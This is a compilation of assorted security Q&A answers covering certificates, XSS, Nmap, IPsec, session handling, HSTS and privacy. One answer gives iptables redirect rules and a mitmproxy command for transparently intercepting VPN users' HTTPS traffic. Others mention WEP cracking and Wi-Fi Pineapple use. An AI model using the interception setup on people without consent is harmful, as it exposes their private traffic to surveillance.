I had a professor tell me once that it was easy to overwrite DOS system memory and it wasn't uncommon for games to overwrite it just so they would have that memory then put it back when they were done.  Modern operating systems make overwriting system memory quite a bit harder.

I would also note that with Windows Vista Microsoft moved their development model to one that was security oriented. This included things like: User account control, improvements to the firewall, the inclusion of Windows Defender, ASLR (loads system files to random memory locations to prevent attacks), obfuscating function pointers, intrinsic stack-overflow detection, DEP (in XP SP2 too), application isolation, windows service hardening,

Windows 7 has the security center and Microsoft Security Essentials (as well as the Vista enhancements).

Windows 8 has Secure boot (uses hardware to block rootkits), ELAM, Windows Defender now scans network traffic too for suspicious activity, and AppContainer(Sandbox).

I don't know too much about Macs, but I do know that Apple added some security features.  You may find this interesting too.


Embedded devices with storage for sensitive data

A device like Ironkey would do the trick I believe. They're expensive though. Just a device that is hard to destroy or temper with, and can be remotely "destroyed". They're ideal when transferring sensitive data between locations,
but make sure you have a "copy" somewhere else.


Expecting: TRUSTED CERTIFICATE while converting pem to crt

You cannot "convert" a public key to a certificate. A certificate includes the public key but it includes also more information like the subject, the issuer, when the certificate is valid etc. And a certificate is signed by the issuer.
Thus what you would need instead is to create a certificate signing request (CSR) which includes the public key but also includes all the additional information. This CSR then needs to be signed by a certificate authority (CA) which then results in the certificate.

For creating a simple self-signed certificate which is not trusted by any browser see How to create a self-signed certificate with openssl?.


How to reset (as it resets when pushed button on computer case) or immediately turn off PC (as if unplugged from power grid) from Windows?

Create a batch file:

shutdown.bat

@echo off
shutdown.exe /r /t 00

and then create hotkeys to run it.


Intermediate certificate not allowed to issue certificates?

I think your problem is that your intermediate CA is actually just a 'regular' cert, with the following extensions:

keyUsage                = digitalSignature, nonRepudiation
extendedKeyUsage        = serverAuth,clientAuth,emailProtection,codeSigning

Although you did set

[ v3_req ]
basicConstraints            = CA:TRUE

(which is not something you really should be doing), you need something else.

Per man x509:

  A CA certificate must have the keyCertSign bit set if the keyUsage extension is present.

I realise you are probably trying to do the 'right thing' here by having an intermediate doing the day-to-day issuance, you might consider making things a little simpler for yourself while you research openSSL and using it to generate PKIs (aka: read at least https://www.feistyduck.com/books/openssl-cookbook/). Also check the 'Certificate Extensions' section in https://www.openssl.org/docs/manmaster/man1/x509.html.

I would suggest you look at cfssl to help you get the cert you need right now, if you don't have the leisure to research things thoroughly at the moment. You might also want to take a look at Hashicorp's Vault.


Is it a security risk to strore item IDs in sessionStorage?

Depends how exactly they are used.

The questions you should be asking yourself are:

What is the risk if a user modifies the ID?
By modifying an ID, can a user access any items they shouldn't have access to (are the IDs validated on the server-side, possiblity checked for authorization if needed)?
Is the application prepared to handle invalid input (e.g. given a string when expecting a number)?
Does the data get displayed to other users, and if so, is it validated/sanitized?
If the application uses a database, does the ID end up in a SQL query, allowing for injection?

If you can answer the above without raising any concerns, then you are likely fine. Just treat the field like any other untrusted user input, and make sure any validation ultimately happens on the server-side.

If nothing can learned or gained by brute-forcing IDs, I see no reason to obfuscate them.


Exposure risk of knowing only social security number?

Absolutely!

The thing to remember is that a social engineering attack, when played out well, can be successful given no personal information other than a name or a role or a position.

The more information an attacker knows about a target, the easier it is for them to build a convincing scenario, but SSN's are trusted as a key piece of your identity in the US, so they are very vulnerable.


IPSEC connection attempt to rogue server -- is my PSK compromised?

The PSK is still secure even if your server attempted to connect to a rogue server.

The PSK isn't actually sent to the other party, it is used as an input to generate cryptographic material. Unless the rogue server already has the PSK, it will not be able to decrypt any messages from your server

For further reading:

https://crypto.stackexchange.com/questions/9926/what-is-the-shared-secret-used-for-in-ipsec-vpn

RFC2409 (IKEv1)

RFC4306 (IKEv2)


Will two virtual machines running on the same physical host machine get the same value from /dev/random?

No, because /dev/random gathers environmental noise from device drivers. So unless you happen to have exactly the same events happening at the exact same time in both VMs, their random pool will differ enough to make this kind of attack impossible (or at least infeasible).


What kind of attack is when we use iframes to redirect users?

It's called XSS (Cross-Site Scripting).
Quoted from here:

Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts (also commonly referred to as a malicious payload) into a legitimate website or web application. XSS is amongst the most rampant of web application vulnerabilities and occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
By leveraging XSS, an attacker does not target a victim directly. Instead, an attacker would exploit a vulnerability within a website or web application that the victim would visit, essentially using the vulnerable website as a vehicle to deliver a malicious script to the victim’s browser.
While XSS can be taken advantage of within VBScript, ActiveX and Flash (although now considered legacy or even obsolete), unquestionably, the most widely abused is JavaScript – primarily because JavaScript is fundamental to most browsing experiences.


Monitoring HTTP traffic on openvpn server

TL:DR; you'd have to setup a transparent proxy on your VPN server.

You can reroute all outgoing traffic to port 443 from your VPN server (which are, probably, your VPN clients) using iptables.  After this you could run an intercepting proxy such as mitmproxy which takes care of the SSL bit as well.

First off, you redirect all outgoing web traffic to your local proxy - for example:

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080

This makes you a transparent proxy; i.e - traffic to all web ports (in above cases just port 80 and 443, you can add more) your clients will not have to set a proxy on their browsers, yet traffic goes though your proxy.

Makes sure your box forwards traffic, but that usually happens already if you're running OpenVPN (else they won't be able to access the Internet).
Second, we need to set up an intercepting proxy, such as MiTM Proxy, this can simply be run in transparent mode with the -T parameter;

mitmproxy -T --host

It sets up a CA and that certificate can be found on the server on the ~/.mitmproxy directory.  That certficiate needs to be distributed to your clients and needs to be trusted by them.  The --host parameter ensures that the value of the Host header is used.

This would give you access to the HTTP traffic; and you should see it happening in your MITMProxy screen.  To handle a large amount of traffic, or store these, add the --outfile parameter to mitmproxy to write all traffic to a file.  More info can be found at http://docs.mitmproxy.org

Some clients will prevent connecting to particular SSL websites (such as google), due to certificate pinning; so it may either break functionality, or you'd have to implement a rule that doesn't trap this information.  You can either do this on MiTMproxy or using iptables.

Also, to remain ethical.  You should tell your users that their traffic is being monitored; they can find out anyways (since all certificates will be "signed" by the same CA, yours).


Is it possible to spoof an IP address to an exact number?

You can change your IP to whatever you want; that's trivial. But that will not work the way you want to.

Let's say the store's ISP is Apple Networks, and their IP range is 1.2.3.0 to 1.2.3.255. You note that and get home. Your home network is from Avocado Networks, and their IP range is 2.3.4.5. You change your IP to 1.2.3.123 and wait. Nothing happens. You cannot access any site. You are offline.

But why?

Routing.

Avocado Network tells the entire world they own the network 2.3.4.0, so when people want to reach anyone on that range, they send the packet to Avocado routers. They don't send any 1.2.3.0 packets to them, they send to Apple Networks routers as they are the ones advertising to the entire world their IP range. So your computer sits there, waiting for anything to come, and nothing happens.

If Avocado Networks employs Egress Filtering, your packets don't even leave their network. Their routers will say this is a packet coming from my network, but it says it's from Apple Networks' address space; it must be an error, so I will drop the package.

If they and nobody along the path uses Egress Filtering, your request for connection will reach pineapple.com, the site will respond as usual, but the response will be sent to Apple Networks routers, not Avocado networks. And either there will be nobody with 1.2.3.123 IP address to answer and the packet gets forgotten, or there will be an 1.2.3.123 there, and they will say sorry, I never heard from this connection before. Forget it. and that's that.

To achieve what you want, you must connect a system to the store network, make it work as a proxy, and forward packets from your home to that system, and then that system will access pineapple.com site on your behalf and send you the response.


How do hackers take advantage of apps that are known to be leaking personal information?

That depends a lot on the nature of the leak.
First of all, "leaking" private information can sometimes be a misnomer. "Leaking" implies that it is happening on accident, though many applications actually harvest personal information by design.
Let's take an imaginary game on Android an iOS as an example. When you first start the game, it asks you to give it all permissions, and I guarantee you, a bunch of people will just click "allow". The application then regularly creates a HTTPS connection to the developer's server and uploads whatever private information it can get its hands on - contact info, clipboard content, private files, etc...
As a hacker, you could hope that the application is written badly and doesn't stop when a certificate error is encountered. In that case, a Man-in-the-Middle attack can be used to intercept and copy that data. Is this something that's feasible to do on a large scale? Probably not. It's not an attack that can be done passively either, so any ISP or government involvement (as you mentioned above) should better be worth it.
Some applications however do indeed "leak" private data. They could use plain HTTP with no encryption, or "custom military-grade impenetrable encryption algorithms" (better known as "Dave's protocol"), which then allow attackers to sniff data with relative ease.
Other applications contain flaws within the application itself, which allow attackers to gather personal information, such as   SQL Injection attacks or Oracle attacks. In this case, gathering the data is just a matter of time.
The exact setup will depend on the kind of leak. Sometimes setting up an attack simply isn't feasible, as the cost would exceed the expected gain. Sometimes an attacker may only be interested in one specific, high-value target (think politicians, celebrities, etc.), in which case they could go considerable lengths to exploit this vulnerability. Sometimes all they need to do is download data and store it for sale or later use.


If either endpoint is patched you should view the connection as *secure. None of the traffic can be seen if the router is patched. The router will refuse to use the reset Nonce and the connection will fail. If the router is also unpatched then any unpatched devices connecting to it such as the camera may have their traffic viewed.

Krack forces nonce reuse which is specific to each connection.

*By secure I mean the link to the access point is secure. There is no guarantee with what the AP does or any network it forwards the traffic to afterwards (for example.. the internet). If you want end to end security use end to end identity verified encryption like SSL.


If it's using WEP you can try to crack it and sniff a DNS traffic. That's why : almost all AP's have a DNS proxy functionality, and it's frequently in use. Do you can try to detect a DNS server version build and by fingerprinting it with MAC-guessed vendor and firmware image you can obtain some matches. The same one can be used with DHCP. But I don't think that AP's in infrastructure mode will have it enabled : usually in properly configured networks wireless clients are just pumped into VLAN and are talking to central DHCP, DNS and other services.


TCP Hijacking and conflicting data handling on the OS level

The premise of TCP is that it handles connectivity-layer things and limits the application's exposure to a reliable data stream.  Therefore, these things are taken care of at the OS level for TCP (but not, say, UDP).

The TCP stack should discard duplicate packets and data (e.g., overlapping packets) before the application sees them.  TCP relies upon sequence numbers to determine if data is duplicated, in part or in whole, and will discard any duplicated data.  To quote RFC 793:

  At the receiver, the sequence
      numbers are used to correctly order segments that may be received
      out of order and to eliminate duplicates.

and

  Initial tests on arrival
          are used to discard old duplicates, but further processing is
          done in SEG.SEQ order.  If a segment's contents straddle the
          boundary between old and new, only the new parts should be
          processed.


The first thing I would do is run Wireshark and log some traffic to analyze later. Then you should boot from another system and virus-scan, malware scan, etc. the bejeezus out of it with your favorite scanners. You will lose at least a day or two on machine time, but at least you won't be infected anymore and may have logged the attackers IP.


Is Trillian application unsafe? (Got "Someone has your password" message from Google)

Your case is documented in the Trillian Security Practices. The mobile device version of the software will store your Google password encrypted on the company servers of the Trillian developers. This allows them to keep your GoogleTalk session alive, even if your mobile device has bad connectivity. It also allows you to use the web version of the Trillian application.

If you reset your Trillian password, then all your stored third-party credentials are lost, since they are encrypted with the lost password. This underlines their claim that third-party passwords are stored encrypted.

Given this setup, it is really the case that the Trillian company server connects to Google with your decrypted clear-text password. Google detects the company server as origin and blocks it if your other devices are far away from the U.S. (see comment by @cremefraiche).

To make GTalk work in Trillian on mobile devices, go to your Google Security Dashboard and mark the server as trustworthy for Google logins.

If you don't like this approach at all, stop using Trillian in the mobile and web version. Delete your Trillian account and change all passwords you ever entered into their application.


Reconstructing bittorrent data from PCAP

When writing binary output data try instead using

  open('bomber.out', 'wb').write(data)

I can't verify if this will help but it might be worth a try.


What's the best way to test if an RFID blocking wallet is effective?

An RFID reader system consists of an antenna connected to the proper "reader", i.e. hardware and software to process the signal received from the antenna, and then to the computer.

A simple way to test RFID blocking would be to find the frequency used by your RFID tag, buy an appropriate RFID reader and antenna, put one card at a time into your wallet, move the wallet near the antenna and check if something pops out on the reader.

For a more scientific approach, you should measure the distances at which the cards within the wallet are scanned, and compare them with the distances at which the cards outside the wallet (or better, within a non-shielded wallet having the same thickness of the shielded one) are scanned. If the two distances are almost equal, there might be something wrong with the wallet shielding.

Note that different RFID tags may use different frequencies, so you may need two different reader/antenna pairs, one for the office ID, and the other for the bus pass. In fact, the most likely reason for which the bus pass is scanned, but the office ID is not, is that they use different frequencies, and that your wallet only shields one of the two frequencies.


How actually is Tor hidden service hidden from public?

Since you found my comment helpful, I'll just write it as an answer.

The concept is pretty simple. You bind your webserver to your localhost only, so it won't accept connections from outside your computer. Then you configure Tor to connect to this server. Since Tor is installed in your computer, it will be able to connect to your webserver, but others can't. This way, your webserver will only accept connections from inside the Tor network.

For more information, have a look at how to configure a Tor hidden service.


Looking for real penetration testing reports

Leaked? You mean, like, published?

https://github.com/juliocesarfort/public-pentesting-reports/ contains a "list of public penetration test reports released by several consulting firms and academic security groups".

I can confirm they are "real life cases" because it includes one of my employer.


Why do websites use less effective hash functions?

It's easier (visually) to match a shorter hash for a user. It's also more likely that an end user will go through the effort of checking the hash if it's shorter and easier to do.

SHA256 provides enough entropy and security that there is no reason to bump it up to SHA512 in this case.


Since your project is PHP here's a list of PHP static analysis tools. You run a static analysis which looks over the code for potential vulnerabilities. This is really the first step to catching obvious errors.

There are some commercial solutions that offer dynamic analysis, but I'm not aware if any for PHP which are free of charge.


First of all, I don't think Nmap is showing "wrong" results to you. You are getting different results as expected, because you are doing different scans, even if you don't know that. Using Nmap is not like using a magic option combination that will give you straight away a definitive result. There exist different techniques because different devices in the network behave differently (routers, firewalls, different OS...), and also you might want to be more or less "invisible". Herein, the beauty of Nmap is its flexibility, that allows you to conduct many different scans to find what you need. Imagine it as a mapping tool that will give you X results with some options and Z results with some others. Then, it is your brain who should interpret them and come to conclusions. You only ran the basic command with all the default options, and there is much more to explore.

[1] You are doing only a ping scan, which by default will do the following:

Send an ICMP echo request
Send a TCP ACK packet to port 80

NOTE: Newer Nmap versions (I believe yours included) also send a TCP SYN packet to port 443 and an ICMP timestamp request.

[2] If you are in the same network (and you are a super user), which in your case means the computer running Nmap has an IP like 192.168.1.X, an ARP request will be used instead. If you use Wireshark you can see the ARP packet exchanges.

[3] Lastly, the default behaviour of [1] uses RAW packets for the ICMP echo and the TCP ACK, so when you use an unprivileged user then Nmap cannot use this technique. Instead, Nmap will send a TCP SYN packet to port 80, by using connect as your normal user applications will do.

If you understand how Nmap is working ([1], [2] and [3]) then you can see why you are getting different results.

In your first scan, both computers (192.168.1.1 and 192.168.1.4) accepted the TCP connection. This used to be a very noisy scan, because applications will log the fact that you have accessed them. But you got what you wanted: seeing they were alive. Note that you can configure this type of scan when running Nmap as a super user (so even when you are a super user you can use [3] instead of [1] or [2]) and you will have obtained exactly the same result.

Your second scan sent an ACK to port 80 and an ICMP echo, and 192.168.1.1 ignored it. This could mean that it has a firewall in place. On the other hand, 192.168.1.4 responded either to the ACK or the ICMP echo. If you were in the same network (192.168.1.0), then ARP would have been used instead (see [2])... but if that was the case, for some reason 192.168.1.1 would have not responded to your ARP request, which I find unusual. Therefore, I would guess that you were not in the same network.

In your third scan, in my opinion 192.168.1.3 should have given you the same results as it did in the second scan. The fact that 192.168.1.3 did not show up in the second scan might respond to different facts - perhaps it was connected through wifi and it was down? It happens to my phone sometimes when it disconnects automatically to save power. Did you get these results consistently? You should run more verbose scans to see why exactly Nmap is interpreting network hints the way it does.

Finally, if you are serious about learning the tool, I strongly recommend you to get Fyodor's Nmap book. It is great not only to understand how Nmap works, but also some computer networks behaviour and other tricks. For example, you could use -n to skip reverse DNS lookups and speed up your test. You could also try different ping ports (from the default 80) and different types of ping.


Got an email saying my password is weak, reason for concern?

They do not need to be able to read your password to test it against known weak and guessable passwords. All they need to do is to try all the guessable passwords against your password. It can be properly hashed and salted, as they are supposed to do.

They can do this quickly because they have legitimate access to the password hashes and can simply have tests running in the background. There are even services out there for companies to use that hold leaked passwords from other known leaked password databases.

Of course, once they test it, then they might know what your password is (depending on how they tested it), but then, so can attackers using the same method.

So, there is no indication of improper password handling. No reason for concern. But, if their automated testing found it, then your password is probably very guessable and should be changed as soon as possible.


As Eric said in his answer, the SANS site has a great set of security policy templates. BERR, a UK government department, also wrote an excellent document[PDF] that gives some great structural advice for creating security policies.

I can also offer you the following advice:

Ask your employees for input when creating the policies. Can they see areas of their work that might be hindered by a particular rule? Can they think of things that you've forgotten?
Identify what you're trying to protect. If your answer is "the network", you're not thinking hard enough. What assets are important to you? Source code is an obvious one, but SSL certificate private keys, design documents, financial information, purchase orders, etc. are all important to your success.
Security policy should be combined with a usage policy. Some people dislike this, but it's important to get the right context. The security policy essentially boils down to what a user can and cannot do, and what the should and should not do. Usage is an important extension of this.
Security policies often get bogged down in what isn't allowed. Don't forget to include exceptions, and a list of things you feel are acceptable (e.g. "browsing semi-NSFW web comics / funny cat picture sites is fine during lunch hours, as long as you know they're reputable and won't perform drive-by browser exploits").
Don't try to come up with exhaustive lists when a "within reason" clause could be used instead. This allows you to treat things on a case-by-case basis. Expect your employees to find a good balance, and be responsible.
Include sections of text that explain why a policy is in place. Format these sections differently, e.g. with a lightly shaded background, and explain at the beginning of the document that these sections are not considered a binding part of the policy.
Policy is about humans, so make it human-readable. For all intents and purposes, lawyers are not human. Just because your document is written in simple, informal language, does not mean that it isn't legally binding or serious. There's absolutely no need for huge blocks of scary legalese in block capitals, exclaiming that "VIOLATIONS OF THE SECURITY POLICY WILL RESULT IN THE EMPLOYEE BEING FIRED OUT OF A CANNON ONTO THE MOON TO GO LIVE WITH WILLZYX AND TOM CRUISE".
Perhaps most importantly, don't write anything you wouldn't want to agree to yourself. Furthermore, stick to the security policy yourself. If a staff member sees you violating the very security policy you made them sign, your authority is worth zero and the policy is worth zero.


If I migrate from dovecot/imaps to exchange will I be less secure?

Of course, you'd have to do a detailed risk assessment to answer this question, but some points that may reassure you:

Exchange always encrypts all RPC traffic, client-server and server-server. It relies on the OS for this, so the algorithm varies: I think it's typically RSA or CAST?
And it always encrypts all internal HTTP traffic with TLS.
By default, it always attempts to use TLS when talking to external mail hosts (and you can prevent it falling back to plain SMTP on a per-host basis)
All remote clients connect over HTTPS.
Exchange has hooks for tight integration to anti-malware, anti-spam, and backup systems, either from MS or other vendors.
Exchange has tight BES integration for Blackberry; and iPhones use Microsoft ActiveSync for their push email - which was designed for Exchange.
Exchange has topology options allowing you to put a limited functionality edge server in the DMZ.
Exchange supports IRM and S/MIME for encrypting/signing individual messages.
Exchange has pretty comprehensive resiliency/recoverability features
Exchange has built-in compliance options (e.g. email retention and discovery)

For your specific Outlook question, Outlook has a feature called Outlook Anywhere which wraps it's RPC traffic in HTTPS. It's used automatically when the client detects it is not inside the network.

Exchange doesn't do any authentication itself though - it entirely depends on Active Directory, in fact there isn't really such as thing as an "Exchange account" - so having separate login and email passwords is not trivial. Some people do manage it, I believe, by having a separate AD domain for Exchange, but this means a lot of extra work.


Why shouldn't I bring a computer to a key-signing party?

Quote from Wikipedia:

  Although PGP keys are generally used with personal computers for
  Internet-related applications, key signing parties themselves
  generally do not involve computers, since that would give
  adversaries increased opportunities for subterfuge. Rather,
  participants write down a string of letters and numbers, called a
  public key fingerprint, which represents their key. The fingerprint is
  created by a cryptographic hash function, which condenses the public
  key down to a string which is shorter and more manageable.
  Participants exchange these fingerprints as they verify each other's
  identification. Then, after the party, they obtain the public keys
  corresponding to the fingerprints they received and digitally sign
  them.

another one from openwest:

  If you bring a computer, please keep it in your bag and powered down
  during the party. This is for security measures to prevent the spread
  of malicious software, the misplacement of private keys, and damaged
  or misplaced equipment.


Scanning USB stick with multiple Antivirus tools

Firstly, many anti-malware tools do conflict with each-other, so there's a reason that's not recommended. Any one modern and up-to-date antimalware software will do just fine.

Secondly, when you say this:

  I don't understand what does this solve - if I think that USB is infected I should just format it, and if it's not infected there is no reason to be even scanning it...

It doesn't matter what you think. The drive is either infected or it isn't. And it's always better to be safe rather than sorry.

Also, if there's a lot of important data on a drive, you can't just reformat it without making a backup of said data. This may take a lot of time depending on how much data you're handling. And in doing so, you will probably also end up making a copy of the malware, which is definitely a Bad Thing.

Scanning USB drives is always a good idea, even when they're coming from someone you trust.


Where to find Google Authenticator backup codes?

You need backup codes to "an account" not to Authenticator itself.

Authenticator has one entry for each 2FA-enabled account of yourself - without needing an account for its own use. So the concept of backup codes for GA doesn't apply.

If for example, you have an account (say GMail) that you've protected with GA-based 2FA, then you could generate backup codes for GMail, from GMail Account Management / Security menus. Since the backup codes need to be recognized by GMail, they are generated in GMail - not GA.

Same logic applies for any other account that you need backup codes for.

Edit: To backup all the accounts you have on GA, you need to backup the "App-specific secret" (usually a long hex string; or a QR Code that has the string) for each account/app. AFAIK, GA doesn't use online storage to backup your GA-enabled accounts.


How can I see which sites have set the HSTS flag in my browser?

Chrome:

Open Chrome
Type chrome://net-internals/#hsts in the address bar of chrome
Query domain: if it appears as a result, it is HSTS-enabled

Firefox:

Open file explorer
Copy and paste the following path into the address bar of your file explorer

On Windows: %APPDATA%\Mozilla\Firefox\Profiles\
On Linux: ~/.mozilla/firefox
On Mac: ~/Library/Application Support/Firefox/Profiles

Double click the folder you see (if you have multiple Firefox profiles, there will be multiple folders)
Open SiteSecurityServiceState.txt. This textfile contains sites that have enabled HSTS.


What are the effects of the Chrome Web Developer extension hijack?

From the Twitter account you have linked, the author says:

  I don’t know for sure yet, but it looks like it may have just been adware being injected. I’m still looking into the possible impact.

You have also asked whatever you should sign out of sessions, revoke keys and change passwords. While I do not have access to the malicious code, and am unable to tell what the code did, I feel pretty confident to suggest that you should end all sessions (to prevent session hijacks), and to change your passwords.

I would say that it is much easier to change passwords than later have to deal with your accounts hacked.


TL;DR: Use sessions over SSL

You are correct, this is a bad thing. The general rule of security in an application, never trust the user, applies here. The issue, is a lazy web developer will believe that a cookie doesn't count as user input.

This could not be further from the case. It is exceptionally easy to make modifications to any data sent to the server from the client, whether it be direct user input or a cookie.

There are plenty of use cases for cookies, and they play a key role in web security, but it this case, it sounds like they are about as secure as a hidden form element.

So how do you fix this? Sessions. A session also stores data as a cookie, but unlike your cookies, is just a long string. This serves as a secure (with a caveat) method for the server to identify a user. With each HTTP request, the session id is included. Once the server has associated a session with a client, relevant session data is stored on the server. The server knows what session to access based on the id sent by the client.

A session id is better for a few reasons, the server controls the data associated with the session, not the client. For example, you might store your cart total as a session variable. If the client had direct access to this, they could modify the amount they pay after you have submitted the purchase order, but before their card is charged.

You could safely store the privilege level of a user as a session variable, where it would be unsafe to do so as a regular cookie as well.

Now to the caveats. A session id is still not 100% secure. If I were to log onto your site over a public network, my authentication would be successful, and you would provide me a session id. Now, anyone who knows this id can use it to send HTTP requests as me. This is session hijacking. There also exist some timing attacks and such that attempt to reduce the entropy that exists in the session id.

You should only allow a user to login or communicate securely with your server over an SSL/TLS connection. This will greatly reduce the chances of a MITM attack or session hijacking. If you can also reset the session id and require the user to have entered their credentials within a certain timeframe. For example, hopefully your bank forces you to re login after a certain amount of time.

Here are some code examples in php for using sessions

session_start() // You must include this at the top of every page basically
                // I know, its odd, just go with it

$_SESSION['username'] = $user // How you could save the username to a session

session_unset() // Clear out the session (logout the user). If you really care
                // about security you will overwrite each session var first


I don't really know what's the problem ? If you want secrecy you use encryption if you want authenticity you use Digital Signatures, and in the same regard integrity. If you sign a Hash(RSA) either before or after encryption (AES). It depends on when you want to validate its integrity.


Custom Authentication in a RESTful API - Will this work?

Seems reasonable if step 5 is also done via HTTPS. As for what to do if you suspect the tokens have been compromised, you could store an ExpirationDate for each token and force users to reauthenticate after the token has expired. Upon suspecting a breach, just expire all the tokens immediately.


Shoulder surfing prevention or mitigation for unlocking mobile devices

To make shoulder surfing for lockscreen pins harder, especially on mobile, I think you're going to have to do something that is not static - that is the content or challenge changes every attempt.

For example, Blackberry used to offer a pseudorandomly generated lockscreen called picture password. It involved you picking some visual element on the picture and dragging that part over a number pad which was randomized every time. This made it so that the pin itself wasn't useful, rather the gestures to unlock them were which makes this more resilient to shoulder surfing.

Another method might be to randomize your keypad for PIN entry. Some custom Android ROMs already offer this. So a shoulder surfer who only sees the pattern that your fingers punch down won't be able to unlock your device by replicating your finger movements.

Other than these two options, other methods might be to use Biometric scanning like Facial recognition or Fingerprint readers. Both of these make it harder for someone to see tour actual pin and unlock your device. Alternatively consider using a paired device with
Google's Smart Lock to unlock your device in front of others.


Wi-Fi Pineapple Device - is it that easy to steal people's info?

Yes, it is that easy.

To use a WiFi pineapple it's almost the case that you just buy one and turn it on...

Be aware, though, that while you can use it in limited config to highlight security issues, almost every use case could be illegal where you are.

Be aware that if someone detects you using one, bad things could happen. https://www.csoonline.com/article/2462478/hacker-hunts-and-pwns-wifi-pineapples-with-0-day-at-def-con.html

Talking of DefCon, this guy has the extreme version:

https://theoutline.com/post/2017/this-guy-hunted-wi-fi-hackers-using-a-giant-backpack-made-out-of-radios?zd=1&zi=hl5dxkob


What hardware can a user-mode process access?

I am not entirely sure of this, so please feel free to correct me.

I read up on how user space device drivers on linux work in this article: Device drivers in user space.

As far as I can tell they work because the kernel maps the memory that the device uses for configuration and buffers into user space. This memory contains the device configuration and any related buffer and therefor changes to it do indirectly affect the device without switching to kernel mode.

But user space processes cannot directly communicate with the device. They can only read and write to this shared memory. If the user space driver wants to inform the device of a change in this memory it has to use a system call (→ interrupt, kernel mode invocation).

Interrupts from the device are processed by the UIO (User-IO) Driver in kernel mode which passes it on to the user space driver.

So the answer to my question is (if I am not completely mistaken): user mode processes cannot access any hardware directly and of course without any system call they cannot request the shared memory either.

Edit: This should be true on any operating system since the mechanisms used to implement it are hardwired in the CPU. In turn it might not hold to be true on certain CPUs no matter the operating system, since the CPU might not support this kind of protection.


Is there a way to securely store unsalted passwords?

I'm assuming here that your goal is (as @owen suggests) to stop the use of common passwords (e.g. password123) used by your userbase.  This is generally a "bad thing" for security as you'll be artifically constraining password choice in a way that is unpredictable to the user.

If you think about the end-user experience of this feature, would you give them a message "hey you chose a common password, pick another"? If so, I'd wager that most users will stick a 1 or ! on the end of the password and try again and/or get frustrated and leave (depending on the site), and as you're not going to disclose the list of commonly used passwords, there's no way for the user to know which ones are/are not allowed.

A better approach might be to check the passwords against a common list, which you can point them at and if they choose one of those passwords suggest that it's a bad idea but let them go ahead if they choose to do so.

That said, assuming that your goal here is as above, you wouldn't need to have the passwords associated with specific user accounts you would just need them in a list, so there's not too much wrong (in most cases) with just storing them with the same salt and hashed, then checking as you add new users.  If an attacker compromises that table, all he has (if he cracks the hashes) is a list of passwords used in the database with no direct way to associate them back to specific users.

One other risk to consider if you do take this approach is that if the system allows users to self-register, an attacker could just iterate over commonly used passwords to see which ones your users have used as the application will reject those...


Are revoked certificates removed from CRLs after expiration? Why is this secure?

This is default behavior for most CRLs. And yes it leads to the issue you have mentioned. In practice many systems have workarounds. Its a delicate situation because CRL bloat is a big issue in of its own.

For SSL this isn't an issue - the expired certificate would be rejected because you expect the server to sign on request.

ADCS (Active Directory Certificate Services) has a flag to indicate whether a certificate revocation should remain in the list permanently.

*As per my comment default behaviour differs slightly from your posted explanation. As pointed out by @SmokeDispenser certificates remain until one update from expiry.


Well, as far as I see, I cannot find a 'perfect' solution. However, I have some ideas, which are listed below.
The first is the simple idea that we can use time as part of the signature. This can also be useful for preventing message replay attacks (MRA). If time does not match, then this signature will be seen as illegal.
The second also comes from normal methods for MRA prevention, that we may use some salt during communication. However, one of the shortcomings is that this method would require interaction between Alice and Bob.
And the last idea is not that widely used, however, still something old. Bob could keep a counter, and add the counter with the key for decryption (something like hash(saved key+counter value)). And every time he decrypts an encrypted message successfully, he increases the counter. This technique actually comes from some old idea of key generation I once read from a book (and after counter reaches a limit, go have a face-to-face talk (date) and refresh the key).


Upload a file into directory with public write access

So there are three scenarios I've seen this pitfall in real life:

Insecure WebDAV configuration. WebDAV allows your server to respond to HTTP requests like "PUT /foo/bar/public" by receiving files. If WebDAV uploads are world accessible, you're hosed.
Insecure file upload capabilities. If they can redirect the folder it places files in, you're pwned. Or, alternately if you just let people upload random files, you're... special. Very special.
Command injection. If attackers can get access to a command line, you've just given them a handy place to put all their malware in your webroot without needing root or fiddling with permissions.

777 is an AWFUL idea. It's like leaving the door to your house open. chmod 605 (-rw----r-x) is an okay default permission for web stuff. Just be careful about the +x; use it sparingly. While 777 itself doesn't create exploits, it makes existing ones very, very deadly. Don't give your attackers any opportunities.


Ingress and Pokémon GO collect a lot of data - what impact could this have on my privacy or security?

The range of possibilities is literally infinite, since the data collection and aggregation typically plays only a minor role in the overall malfeasance, whatever that may be.

Typically the worry surrounding location and other PII data is that it could be used to "identify" you in some context. By analyzing where you go, they may be able to deduce your favorite bar or club. Maybe they can deduce what sort of music you like by correlating that with band schedules. Perhaps if they want to steal your work, they'll send someone to meet you, seemingly by chance, who will steal your secret access tokens and leverage that to gain access to your encrypted files and steal the plans to your super top-secret thingamajig that clearly is important for this particular movie plot. If you aren't afraid about esoteric privacy risks, then clearly you don't watch enough television.

Aside from the far-flung movie-plot concerns which so typically drive legislation, here are the risk we know about for certain. These are things that happen today:

Law enforcement and similar Government Agencies use location data (typically freely-provided by the telephone company) to follow the behavior of persons of interest. Currently there is no automatic profiling going on here; you have to be "interesting" before you'd be watched, because someone actually has to be paid to look at this data. Perhaps your picture appears on two different passports, or perhaps you received a large deposit of money loosely connected with another investigation. But location data serves as a crude but inexpensive sort of surveillance useful to determine where to focus more costly resources.
Certain less-scrupulous organizations use location data (and anything else they can grab) for purposes of corporate espionage. We know that groups tied to the Chinese government or military use techniques both high-tech and low-tech, involving people as well as machines, to "acquire" corporate knowledge, including business practices, material science, manufacturing techniques, financial transactions and projections, and very nearly anything of value. It would not be even moderately surprising to see an attack on the Ingress servers in order to exfiltrate location data as part of another more complex attack. The scope of these operations is truly impressive by any standard.
More traditional organizations use personal data to lower costs. "We know that half of our advertising costs are wasted, but we don't know which half." Correlating identity with behavior is valuable in avoiding wasted advertising: advertising tampons to men is typically a wasted effort. The more specific the details you can acquire about a person, the better you can avoid deluging him with inappropriate messages.  Ironically, this use of personal information is by far the least damaging (and arguably in fact beneficial), and yet it is also the most vilified.

We like to protect ourselves against personalized advertising, not because it does any damage, but because it's the only thing we typically see. We implicitly know that personal information can be used against us and therefore there is some safety in privacy. And we believe that this information is being used against us. But we don't worry about law enforcement and we don't see the espionage. We do see advertising, though. And for lack of a clearer villain, we fortify against that.


Why should I convert & to & in XSS prevention?

As the comments say and from your linked document:

  Rule #1 is for when you want to put untrusted data directly into the HTML body somewhere. This includes inside normal tags like div, p, b, td, etc.
